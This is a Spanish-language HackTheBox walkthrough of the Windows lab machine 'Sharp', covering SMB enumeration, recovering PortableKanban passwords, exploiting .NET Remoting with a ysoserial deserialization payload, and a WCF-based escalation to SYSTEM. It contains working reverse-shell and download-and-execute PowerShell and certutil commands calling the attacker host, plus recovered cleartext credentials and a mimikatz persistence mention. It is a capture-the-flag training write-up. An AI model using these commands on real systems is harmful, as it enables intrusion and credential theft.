Sharp es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Sharp 10.10.10.219 a /etc/hosts como sharp.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
# Nmap 7.70 scan initiated Fri Jan 22 16:19:53 2021 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.219 Nmap scan report for 10.10.10.219 Host is up (0.055s latency). Not shown: 65530 filtered ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 8888/tcp open sun-answerbook 8889/tcp open mc-nmf .NET Message Framing Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 3m27s, deviation: 0s, median: 3m27s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-01-22 16:25:29 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Jan 22 16:22:39 2021 -- 1 IP address (1 host up) scanned in 166.10 seconds |
Encontramos varios puertos abiertos en el sistema así que vamos a proceder a enumerar los mismos a ver que información podemos obtener.
Enumeracion
Revisando los puertos comenzamos con smb y obtenemos un listado de directorios:
1 2 3 4 5 6 7 8 9 10 11 |
$ smbmap -H 10.10.10.219 [+] Finding open SMB ports.... [+] User SMB session establishd on 10.10.10.219... [+] IP: 10.10.10.219:445 Name: sharp.htb Disk Permissions ---- ----------- ADMIN$ NO ACCESS C$ NO ACCESS dev NO ACCESS IPC$ NO ACCESS kanban READ ONLY |
Observamos que tenemos permisos de lectura sobre el directorio kanban, aśi que utilizamos de nuevo smbmap para observar el contenido del mismo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
$ smbmap -H 10.10.10.219 -R [+] Finding open SMB ports.... [+] User SMB session establishd on 10.10.10.219... [+] IP: 10.10.10.219:445 Name: sharp.htb Disk Permissions ---- ----------- ADMIN$ NO ACCESS C$ NO ACCESS dev NO ACCESS IPC$ NO ACCESS kanban READ ONLY .\ dr--r--r-- 0 Sat Nov 14 19:57:04 2020 . dr--r--r-- 0 Sat Nov 14 19:57:04 2020 .. -r--r--r-- 58368 Sat Nov 14 19:57:04 2020 CommandLine.dll -r--r--r-- 141312 Sat Nov 14 19:57:04 2020 CsvHelper.dll -r--r--r-- 456704 Sat Nov 14 19:57:04 2020 DotNetZip.dll dr--r--r-- 0 Sat Nov 14 19:57:59 2020 Files -r--r--r-- 23040 Sat Nov 14 19:57:04 2020 Itenso.Rtf.Converter.Html.dll -r--r--r-- 75776 Sat Nov 14 19:57:04 2020 Itenso.Rtf.Interpreter.dll -r--r--r-- 32768 Sat Nov 14 19:57:04 2020 Itenso.Rtf.Parser.dll -r--r--r-- 19968 Sat Nov 14 19:57:04 2020 Itenso.Sys.dll -r--r--r-- 376832 Sat Nov 14 19:57:04 2020 MsgReader.dll -r--r--r-- 133296 Sat Nov 14 19:57:04 2020 Ookii.Dialogs.dll -r--r--r-- 2558011 Sat Nov 14 19:57:04 2020 pkb.zip dr--r--r-- 0 Sat Nov 14 19:57:04 2020 Plugins -r--r--r-- 5819 Sat Nov 14 19:57:04 2020 PortableKanban.cfg -r--r--r-- 118184 Sat Nov 14 19:57:04 2020 PortableKanban.Data.dll -r--r--r-- 1878440 Sat Nov 14 19:57:04 2020 PortableKanban.exe -r--r--r-- 31144 Sat Nov 14 19:57:04 2020 PortableKanban.Extensions.dll -r--r--r-- 2080 Sat Nov 14 19:57:04 2020 PortableKanban.pk3 -r--r--r-- 2080 Sat Nov 14 19:57:04 2020 PortableKanban.pk3.bak -r--r--r-- 34 Sat Nov 14 19:57:04 2020 PortableKanban.pk3.md5 -r--r--r-- 413184 Sat Nov 14 19:57:04 2020 ServiceStack.Common.dll -r--r--r-- 137216 Sat Nov 14 19:57:04 2020 ServiceStack.Interfaces.dll -r--r--r-- 292352 Sat Nov 14 19:57:04 2020 ServiceStack.Redis.dll -r--r--r-- 411648 Sat Nov 14 19:57:04 2020 ServiceStack.Text.dll -r--r--r-- 1050092 Sat Nov 14 19:57:04 2020 User Guide.pdf .\\Plugins\ dr--r--r-- 0 Sat Nov 14 19:57:04 2020 . dr--r--r-- 0 Sat Nov 14 19:57:04 2020 .. -r--r--r-- 64424 Sat Nov 14 19:57:04 2020 PluginsLibrary.dll |
Observamos varios ficheros que pueden ser interesantes, así que vamos a descargarnos todo para poder analizarlo más detenidamente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$ smbget -R smb://10.10.10.219/kanban Password for [root] connecting to //kanban/10.10.10.219: Using workgroup WORKGROUP, user root smb://10.10.10.219/kanban/CommandLine.dll smb://10.10.10.219/kanban/CsvHelper.dll smb://10.10.10.219/kanban/DotNetZip.dll smb://10.10.10.219/kanban/Itenso.Rtf.Converter.Html.dll smb://10.10.10.219/kanban/Itenso.Rtf.Interpreter.dll smb://10.10.10.219/kanban/Itenso.Rtf.Parser.dll smb://10.10.10.219/kanban/Itenso.Sys.dll smb://10.10.10.219/kanban/MsgReader.dll smb://10.10.10.219/kanban/Ookii.Dialogs.dll smb://10.10.10.219/kanban/pkb.zip smb://10.10.10.219/kanban/Plugins/PluginsLibrary.dll smb://10.10.10.219/kanban/PortableKanban.cfg smb://10.10.10.219/kanban/PortableKanban.Data.dll smb://10.10.10.219/kanban/PortableKanban.exe smb://10.10.10.219/kanban/PortableKanban.Extensions.dll smb://10.10.10.219/kanban/PortableKanban.pk3 smb://10.10.10.219/kanban/PortableKanban.pk3.bak smb://10.10.10.219/kanban/PortableKanban.pk3.md5 smb://10.10.10.219/kanban/ServiceStack.Common.dll smb://10.10.10.219/kanban/ServiceStack.Interfaces.dll smb://10.10.10.219/kanban/ServiceStack.Redis.dll smb://10.10.10.219/kanban/ServiceStack.Text.dll smb://10.10.10.219/kanban/User Guide.pdf Downloaded 7.90MB in 19 seconds |
Revisamos un poco por encima, pero vamos a lanzar un grep sobre todo a ver si podemos dar con alguna password y encontramos un json con las keys cifradas de dos usuarios:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 |
{ "Columns":[ { "Id":"4757781032fd41b2a4511822e2c08850", "SortOrder":0, "Name":"Demo", "Limit":0, "TaskOrder":{ "SortType":"None", "Parameters":[ { "Field":"Completed", "SortOrder":"Descending" }, { "Field":"Deadline", "SortOrder":"Ascending" }, { "Field":"Priority", "SortOrder":"Descending" }, { "Field":"Topic", "SortOrder":"Ascending" }, { "Field":"Person", "SortOrder":"Ascending" } ] }, "AutoComplete":false, "ResetCompleted":false, "TimeStamp":637409769443121006 } ], "Tasks":[ { "Id":"33870d6dfe4146718ba0b2c9f7bc05cf", "SeriesId":"00000000000000000000000000000000", "SortOrder":"oGdBKcFw", "ColumnId":"4757781032fd41b2a4511822e2c08850", "TopicId":"00000000000000000000000000000000", "PersonId":"00000000000000000000000000000000", "Text":"New Task", "Priority":"Low", "Created":"\/Date(1605380100000+0100)\/", "CreatedBy":"e8e29158d70d44b1a1ba4949d52790a0", "Modified":"\/Date(-62135596800000)\/", "ModifiedBy":"00000000000000000000000000000000", "Deadline":"\/Date(1605308400000+0100)\/", "HasDeadline":false, "Completed":"\/Date(1605308400000+0100)\/", "CompletedBy":"00000000000000000000000000000000", "Done":false, "Canceled":false, "Link":"", "Subtasks":[ ], "Tags":[ ], "Estimate":0, "Progress":0, "Points":0, "Comments":[ ], "CustomFields":{ }, "TimeStamp":637409769542424146 } ], "TimeTracks":[ ], "Persons":[ ], "Topics":[ ], "Tags":[ ], "Views":[ ], "Users":[ { "Id":"e8e29158d70d44b1a1ba4949d52790a0", "Name":"Administrator", "Initials":"", "Email":"", "EncryptedPassword":"k+iUoOvQYG98PuhhRC7/rg==", "Role":"Admin", "Inactive":false, "TimeStamp":637409769245503731 }, { "Id":"0628ae1de5234b81ae65c246dd2b4a21", "Name":"lars", "Initials":"", "Email":"", "EncryptedPassword":"Ua3LyPFM175GN8D3+tqwLA==", "Role":"User", "Inactive":false, "TimeStamp":637409769265925613 } ], "ServiceMessages":[ ], "CustomFieldDescriptors":[ ], "MetaData":{ "Id":"ffffffffffffffffffffffffffffffff", "SchemaVersion":"4.2.0.0", "SchemaVersionModified":"\/Date(1605380100000+0100)\/", "SchemaVersionModifiedBy":"e8e29158d70d44b1a1ba4949d52790a0", "SchemaVersionChecked":"\/Date(-62135596800000-0000)\/", "SchemaVersionCheckedBy":"00000000000000000000000000000000", "TimeStamp":637409769001918463 } } |
Que son las siguientes:
1 2 3 4 5 6 7 |
username: Administrator id: e8e29158d70d44b1a1ba4949d52790a0 encpass: k+iUoOvQYG98PuhhRC7/rg== username: lars id: 0628ae1de5234b81ae65c246dd2b4a21 encpass: Ua3LyPFM175GN8D3+tqwLA== |
Revisamos de nuevo los ficheros pero nos fijamos en uno en concreto, el fichero “User Guide.pdf”
en el cual podemos destacar los siguientes puntos:
- page 1 -> el programa es portable, por lo que podemos hacer cambios en los ficheros de configuracion
- page 3 -> no se deben utilizar contraseñas vacías, aunque podemos hacerlo si lo necesitamos
- page 11 -> el usuario por defecto es “Administrator” con la pass vacía
- page 18 -> sugiere que si has olvidado una password, muevas el portable .exe a otro directorio y trates de hacer login con el user admin
- page 22 -> las password están ocultas por defecto en Setup/Users tab
Vistos los puntos importantes del documento, vamos a levantar una vm con windows para ejecutar el programa y tratar de obtener las claves de los usuarios.
Con la máquina con windows levantada, borramos el fichero “PortableKanban.pk3” y ejecutamos el programa, mostrándonos el siguiente mensaje:
El programa ha generado un fichero nuevo en base al backup existente, probamos el login con el usuario administrator y la contraseña vacía, pero nos da un error de acceso denegado:
Así que vamos a editar el fichero de configuración de backup:
Y borramos la password del usuario admin y volvemos a ejecutar el programa, consiguiendo ahora sí, acceder al mismo:
Tal y como decía en la documentación, nos vamos a la configuración de usuarios y vemos los usuarios que encontramos anteriormente:
Y, si desmarcamos la casilla “Hide passwords” obtenemos la clave del usuario lars:
1 |
lars:G123HHrth234gRG |
Ahora que ya tenemos la clave de un usuario, modificamos de nuevo el fichero original de backup y modificamos el rol del usuario lars a admin y volvemos a entrar, consiguiendo en este caso descifrar la key del usuario Administrator:
1 |
Administrator:G2@$btRSHJYTarg |
Ahora que ya tenemos las claves de los dos usuarios, vamos a verificar si podemos utilizar alguna de ellas para acceder por smb, utilizaremos para ello la tool crackmapexec
1 2 3 4 5 6 7 8 9 10 11 |
$ crackmapexec smb 10.10.10.219 -u usernames.txt -p passwords.txt [*] First time use detected [*] Creating home directory structure [*] Initializing the database [*] Copying default configuration file [*] Generating SSL certificate CME 10.10.10.219:445 SHARP [*] Windows 10.0 Build 17763 (name:SHARP) (domain:SHARP) CME 10.10.10.219:445 SHARP [-] SHARP\Administrator:G123HHrth234gRG STATUS_LOGON_FAILURE CME 10.10.10.219:445 SHARP [-] SHARP\Administrator:G2@$btRSHJYTarg STATUS_LOGON_FAILURE CME 10.10.10.219:445 SHARP [+] SHARP\lars:G123HHrth234gRG [*] KTHXBYE! |
Y obtenemos un usuario válido así que volvemos a smb para ver que podemos obtener con el mismo y vemos una carpeta nueva:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
$ smbmap -H 10.10.10.219 -R -u lars -p G123HHrth234gRG [+] Finding open SMB ports.... [+] User SMB session establishd on 10.10.10.219... [+] IP: 10.10.10.219:445 Name: sharp.htb Disk Permissions ---- ----------- ADMIN$ NO ACCESS C$ NO ACCESS dev READ ONLY .\ dr--r--r-- 0 Sun Nov 15 12:30:13 2020 . dr--r--r-- 0 Sun Nov 15 12:30:13 2020 .. -r--r--r-- 5632 Sun Nov 15 11:25:01 2020 Client.exe -r--r--r-- 70 Sun Nov 15 14:59:02 2020 notes.txt -r--r--r-- 4096 Sun Nov 15 11:25:01 2020 RemotingLibrary.dll -r--r--r-- 6144 Mon Nov 16 12:55:44 2020 Server.exe IPC$ READ ONLY .\ -r--r--r-- 3 Sun Dec 31 23:45:16 1600 InitShutdown -r--r--r-- 4 Sun Dec 31 23:45:16 1600 lsass -r--r--r-- 3 Sun Dec 31 23:45:16 1600 ntsvcs -r--r--r-- 3 Sun Dec 31 23:45:16 1600 scerpc -r--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-358-0 -r--r--r-- 3 Sun Dec 31 23:45:16 1600 epmapper -r--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-1e4-0 -r--r--r-- 3 Sun Dec 31 23:45:16 1600 LSM_API_service -r--r--r-- 3 Sun Dec 31 23:45:16 1600 eventlog -r--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-154-0 -r--r--r-- 3 Sun Dec 31 23:45:16 1600 atsvc -r--r--r-- 4 Sun Dec 31 23:45:16 1600 wkssvc -r--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-42c-0 -r--r--r-- 3 Sun Dec 31 23:45:16 1600 W32TIME_ALT -r--r--r-- 4 Sun Dec 31 23:45:16 1600 srvsvc -r--r--r-- 1 Sun Dec 31 23:45:16 1600 vgauth-service -r--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-268-0 -r--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-270-0 -r--r--r-- 1 Sun Dec 31 23:45:16 1600 PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER kanban NO ACCESS |
Y nos descargaremos todo el contenido de la carpeta dev:
1 2 3 4 5 6 7 8 |
$ smbget -R smb://10.10.10.219/dev -U lars Password for [lars] connecting to //dev/10.10.10.219: Using workgroup WORKGROUP, user lars smb://10.10.10.219/dev/Client.exe smb://10.10.10.219/dev/notes.txt smb://10.10.10.219/dev/RemotingLibrary.dll smb://10.10.10.219/dev/Server.exe Downloaded 15.57kB in 3 seconds |
Se trata de ficheros exe, donde vemos un cliente y un servidor y una librería que nos da algo de información de lo que vendrá a continuación, así que volvemos al windows y utilizaremos dnspy para revisar el código de los ficheros obtenidos:
Revisamos la aplicación y encontramos unas claves en el fichero client.exe
1 |
debug:SharpApplicationDebugUserPassword123! |
Y también la dirección a la que la aplicación se conecta:
1 |
tcp://localhost:8888/SecretSharpDebugApplicationEndpoint |
Ya tenemos algo importante, pero ahora que hacemos con ello. Nos vamos a google y buscamos acerca de Remoting.Channels.Tcp y encontramos un exploit en github para realizar la explotación de este servicio:
https://github.com/tyranid/ExploitRemotingService
En nuestro caso lo hemos compilado, pero para aquellos que les resulte complicada esta tarea, también está disponible el mismo precompilado:
https://github.com/parteeksingh005/ExploitRemotingService_Compiled
Ahora que ya conocemos como explotar este servicio, tendremos que realizar varios pasos previos para poder continuar:
- Descargar python en windows si no lo tenemos y levantarlo
- Descargar netcat
- Descargar la reverse shell de nishang
- Crear una reverse shell serializada con ysoserial
- Conectar a la maquina con el binario compilado con nuestra reverse shell
Así que vamos a ir haciendo todos los pasos.
Levantamos en primer lugar un server con python en la ruta donde tengamos nuestra reverse shell:
1 |
python3 -m http.server 80 |
Levantamos una escucha con netcat
1 |
nc64.exe -nvlp 4444 |
Editaremos el fichero ps1 de nishang añadiendo al final el siguiente código:
1 |
Invoke-PowerShellTcp -Reverse -IPAddress [Your IP] -Port [Your listner port] |
A continuación generaremos nuestro payload con ysoserial
1 |
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.11/Invoke-PowerShellTcp.ps1')" |
Y por último ejecutamos nuestro exploit
1 |
ExploitRemotingService.exe -s --user=debug --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw [your payload] |
La ejecución del exploit generará el siguiente error:
1 2 3 |
System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'. at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel) at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream) |
El mismo no es relevante, donde tenemos que hacer hincapié a continuación es en nuestro server en python donde veremos como se ha descargado nuestro fichero (si te da problemas este paso, tal vez tengas que revisar el firewall de windows):
Y, si revisamos nuestra escucha en netcat veremos que tenemos una shell con el usuario lars:
1 2 3 4 5 6 7 8 9 |
c:\Users\sample\Desktop\sharp>nc64.exe -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.219] 49695 Windows PowerShell running as user lars on SHARP Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Windows\system32>PS C:\Windows\system32> whoami sharp\lars |
Obteniendo la flag de user
Una vez que tenemos la shell con el usuario lars, nos vamos al escritorio de este usuario para conseguir la flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
c:\Users\sample\Desktop\sharp>nc64.exe -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.219] 49695 Windows PowerShell running as user lars on SHARP Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Windows\system32>PS C:\Windows\system32> whoami sharp\lars PS C:\Windows\system32> cd c:\users\lars\desktop # y obtenemos la flag de user PS C:\users\lars\desktop> dir Directory: C:\users\lars\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 2/10/2021 3:07 PM 34 user.txt PS C:\users\lars\desktop> type user.txt 2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx9 PS C:\users\lars\desktop> |
Escalado de privilegios
Ahora, si recordamos el fichero que obtuvimos en la carpeta del smb decía lo siguiente:
1 2 3 4 |
$ cat data/smb/dev/notes.txt Todo: Migrate from .Net remoting to WCF Add input validation |
Queda pendiente migrar la app de .Net a Wcf por lo que buscamos en la home del usuario y obtenemos una carpeta con este nombre en el directorio de documents:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
PS C:\users\lars> cd documents PS C:\users\lars\documents> dir Directory: C:\users\lars\documents Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 11/15/2020 1:40 PM wcf PS C:\users\lars\documents> |
Así que vamos a comprimir esa carpeta:
1 |
Compress-Archive -LiteralPath C:\users\lars\Documents\wcf -DestinationPath C:\users\lars\Documents\wcf.zip |
Y la moveremos al directorio dev del smb para poder descarganos el fichero:
1 |
move-item -path C:\users\lars\Documents\wcf.zip -destination c:\dev |
Revisamos el contenido del mismo desde visual studio y encontramos algo interesante en el ejecutable de Client:
Y dentro de Main encontramos el string de conexión de la aplicación:
Asumimos que esta aplicación se está ejecutando con privilegios elevados, así que añadiremos la siguiente línea después del último WriteLine para crear una reverse shell:
1 |
Console.WriteLine(client.InvokePowerShell("IEX (new-object net.webclient).downloadstring('http://10.10.14.11/Invoke-PowerShellTcp.ps1')")); |
Y compilaremos nuestro programa:
Ahora que ya tenemos el programa compilado, necesitamos subirlo a la máquina, pero no tenemos permisos para escribir en el smb así que movemos los ficheros exe y dll generados a la carpeta donde tenemos levantado nuestro server con python y nos descargamos los mismos desde la shell abierta del usuario lars con los siguientes comandos:
1 2 |
certutil -urlcache -split -f "http://10.10.14.11/wcf/WcfRemotingLibrary.dll" WcfRemotingLibrary.dll certutil -urlcache -split -f "http://10.10.14.11/wcf/WcfClient.exe" WcfClient.exe |
Y los ejecutamos en la máquina:
1 2 3 4 5 6 7 8 9 10 11 12 |
PS C:\users\lars\documents> certutil -urlcache -split -f "http://10.10.14.11/wcf/WcfRemotingLibrary.dll" WcfRemotingLibrary.dll **** Online **** 0000 ... 1e00 CertUtil: -URLCache command completed successfully. PS C:\users\lars\documents> certutil -urlcache -split -f "http://10.10.14.11/wcf/WcfClient.exe" WcfClient.exe **** Online **** 0000 ... 1600 CertUtil: -URLCache command completed successfully. PS C:\users\lars\documents> PS C:\users\lars\documents> |
El último paso será levantar otra escucha en netcat en otro puerto diferente al que utilizamos anteriormente y ejecutar nuestro fichero:
1 |
PS C:\users\lars\documents> .\WcfClient.exe |
Y obtendremos la shell como system:
1 2 3 4 5 6 7 8 |
c:\Users\sample\Desktop\sharp>nc64.exe -nlvp 5555 listening on [any] 5555 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.219] 49705 Windows PowerShell running as user SHARP$ on SHARP Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Windows\system32>whoami nt authority\system |
Obteniendo la flag de root
Ahora que ya tenemos nuestra shell con system, nos queda ir al escritorio del usuario Administrator para obtener nuestra flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
c:\Users\sample\Desktop\sharp>nc64.exe -nlvp 5555 listening on [any] 5555 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.219] 49705 Windows PowerShell running as user SHARP$ on SHARP Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Windows\system32>whoami nt authority\system PS C:\Windows\system32> # nos vamos a la home de administrator y obtenemos la flag de root PS C:\Windows\system32> cd c:\users\administrator\desktop PS C:\users\administrator\desktop> dir Directory: C:\users\administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 2/10/2021 3:07 PM 34 root.txt PS C:\users\administrator\desktop> type root.txt fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx7 PS C:\users\administrator\desktop> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Como último paso, y para ganar persistencia, podemos lanzar mimikatz para obtener el hash del usuario administrator y poder acceder de nuevo si lo vemos necesario.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace